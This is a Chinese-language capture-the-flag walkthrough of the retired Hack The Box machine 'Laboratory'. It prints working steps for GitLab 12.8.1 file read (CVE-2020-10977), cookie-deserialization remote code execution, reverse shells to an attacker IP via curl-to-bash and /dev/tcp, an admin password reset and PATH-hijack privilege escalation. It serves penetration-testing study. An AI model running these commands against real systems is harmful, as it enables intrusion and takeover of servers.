HTB-靶機-Laboratory


本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切后果與發表本文章的作者無關

靶機是作者購買VIP使用退役靶機操作,顯示IP地址為10.10.10.216

本次使用https://github.com/Tib3rius/AutoRecon 進行自動化全方位掃描

信息枚舉收集
https://github.com/codingo/Reconnoitre 跟autorecon類似
autorecon 10.10.10.216 -o ./Laboratory-autorecon

sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.216
或者

sudo masscan -p1-65535,U:1-65535 10.10.10.216 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
sudo nmap -Pn -sV -sC -p$ports 10.10.10.216

得到的掃描結果

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn:
|_  http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

根據上面掃描的結果得知本次測試的目標靶機是需要通過域名訪問,將其域名加入本地hosts文件中

追加hosts文件
sudo -- sh -c "echo '10.10.10.216 laboratory.htb' >> /etc/hosts"
sudo -- sh -c "echo '10.10.10.216 git.laboratory.htb' >> /etc/hosts"

訪問這些域名

注冊用戶cntf然后訪問https://git.laboratory.htb 點擊了每個頁面,在幫助菜單里面發現版本為12.8.1的gitlab 在谷歌上搜索了一把,發現存在任意文件讀取漏洞

可參考:

https://hackerone.com/reports/827052
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10977

漏洞大概利用操作就是創建兩個Project 然后新建一個issue 寫入要讀取的文件,例如下面讀取passwd文件內容

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

然后將這個issue移動到另一個新建的Project就會發現文件已經被讀取了,下載對應的文件即可,對應的exploit自動利用代碼如下
https://github.com/thewhiteh4t/cve-2020-10977

漏洞利用得到的結果

python3 cve_2020_10977.py https://git.laboratory.htb cntf cntfcntf


[>] Absolute Path to File : /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

---
production:
  db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af

過程展示

此處可以通過本地搭建gitlab環境替換secret_key_base來達到命令執行的目的,具體相關的操作

本地kali環境使用docker搭建跟目標靶機一樣的gitlab環境,搭建之前先安裝docker環境,可參考:https://zhuanlan.zhihu.com/p/82361096

sudo docker pull gitlab/gitlab-ee:12.8.1-ee.0
sudo docker run -it gitlab/gitlab-ee:12.8.1-ee.0 sh
/opt/gitlab/embedded/bin/runsvdir-start &
gitlab-rails console

nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

將secret_key_base替換為目標靶機的secret_key_base
3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

替換完成就可以拿到cookie,寫入反彈shell命令代碼觸發反彈shell

執行下面命令進入console
gitlab-rails console

開始執行下面命令內容:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `curl {Your_IP}/Shell.sh -o /tmp/Shell.sh && chmod 777 /tmp/Shell.sh && bash /tmp/Shell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

或者

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash -c 'bash -i>& /dev/tcp/10.10.14.16/8833 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

上面在測試的過程中發現在執行倒數第三步和第四步就成功反彈shell,確認反彈的shell是本地kali搭建的gitlab,而不是目標靶機的,所以不用管,直接ctrl+c中斷執行最后兩步拿到cookie,然后觸發反彈shell代碼

拿到cookie

BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTYvODgzMyAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--ded553d0f50b56445da7778756a4f2822d1835d6

觸發反彈shell代碼
curl -vvv 'https://git.laboratory.htb/users/sign_in' -k -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTYvODgzMyAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--ded553d0f50b56445da7778756a4f2822d1835d6"

成功反彈shell

上述成功之后,生成tty-shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=linux

更改密碼
user = User.find(1)
user.password = '123456789'
user.password_confirmation = '123456789'
user.save!
exit
irb(main):001:0> user = User.find(1)
user = User.find(1)
=> #<User id:1 @dexter>
irb(main):002:0> user.password = '123456789'
user.password = '123456789'
=> "123456789"
irb(main):003:0> user.password_confirmation = '123456789'
user.password_confirmation = '123456789'
=> "123456789"
irb(main):004:0> user.save!
user.save!
Enqueued ActionMailer::DeliveryJob (Job ID: fb1c0851-a7de-4072-b8d6-b27a65c36458) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007fea1b3254d0 @uri=#<URI::GID gid://gitlab/User/1>>
=> true
irb(main):005:0> exit
exit

登錄目標靶機的web應用gitlab

 登錄成功之后獲得私鑰,復制到本地kali給其權限為600然后ssh登錄

拿到目標靶機權限開始信息搜集
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

根據搜集的信息發現docker-security權限是帶setuid 
-rwsr-xr-x  1 root dexter 16720 Aug 28  2020 docker-security

通過nc的方式將發現的二進制文件下載到kali

使用nc的方式將docker-security傳到本地kali ,進行分析

kali:nc -lvnp 9933 > docker-security
靶機:nc 10.10.14.16 9933 < /usr/local/bin/docker-security

使用ltrace跟蹤分析文件

kali@kali:~/Downloads/htb/laboratory$ ltrace ./docker-security
setuid(0)                                                                       = -1
setgid(0)                                                                       = -1
system("chmod 700 /usr/bin/docker"chmod: changing permissions of '/usr/bin/docker': Operation not permitted
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                          = 256
system("chmod 660 /var/run/docker.sock"chmod: changing permissions of '/var/run/docker.sock': Operation not permitted
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                          = 256
+++ exited (status 0) +++
發現此文件會調用chmod命令,那么我們可以通過路徑劫持來提權,可參考:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

開始提權

將下面代碼保存為chmod.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

int main(){
    setuid(getuid());
    system("/bin/bash");
    return 0;
}


gcc -o chmod chmod.c
scp -i laboratory_id_rsa chmod dexter@10.10.10.216:/tmp/

提權
export PATH=/tmp/:$PATH
/usr/local/bin/docker-security

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM